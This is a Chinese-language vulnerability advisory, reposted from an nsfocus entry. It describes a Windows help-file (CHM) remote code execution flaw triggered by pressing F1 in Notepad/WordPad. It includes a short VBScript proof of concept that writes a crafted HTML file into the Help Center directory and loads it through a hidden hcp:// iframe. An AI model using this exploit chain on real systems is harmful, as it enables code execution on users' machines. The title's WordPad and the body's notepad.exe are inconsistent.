Windows写字板HTML帮助文件处理远程代码执行漏洞

Mr.Cool

http://www.nsfocus.net/vulndb/14629
发布时间:2010-03-15
影响版本:
Microsoft Windows Server 2003
Microsoft Windows Server 2003 Server Pack 1
Microsoft Windows Server 2003 Server Pack 2
漏洞描述:写字板是Windows操作系统中附件所提供的简单文本编辑工具。如果相对路径为参数的话hhctrl.ocx控件的HtmlHelpA()函数就会打开当前目录中的CHM文件。攻击者可以诱骗用户打开与特制notepad.chm文件处于同一目录中的.txt文件，notepad.exe打开该文件后用户在文档中按下F1键获得帮助时就会以本地安全环境执行任意JavaScript代码。
经测试，该漏洞不仅适用于 Microsoft Windows XP SP3、Microsoft Windows 2000SP4，同样适用于Microsoft Windows Server 2003 的所有版本，Microsoft Windows XP 及 Microsoft Windows 2003 的其他版本有可能也存在该漏洞。
测试方法:

1. On Error Resume Next
   
2. Set a = CreateObject("ADODB.Connection")
   
3. b  = ("Driver={Microsoft Text Driver (*.txt; *.csv)};DefaultDir=\\127.0.0.1\C$\;Persist Security Info=False;")
   
4. a.Open  b
   
5. set rs =CreateObject("ADODB.Recordset")
   
6. rs.Open "SELECT * from liscker.txt", a
   
7. rs.Save "C:\windows\pchealth\helpctr\vendors\CN=Microsoft Corporation,L=Redmond,S=Washington,C=US\bugrep.htm"
   
8. rs.close
   
9. document.write "<iframe src=hcp://CN=Microsoft%20Corporation,L=Redmond,S=Washington,C=US/bugrep.htm height=0 width=0></iframe>"

复制代码

目前微软还没有提供补丁或者升级程序，建议随时关注微软主页以获取最新版本：http://www.microsoft.com/technet/security/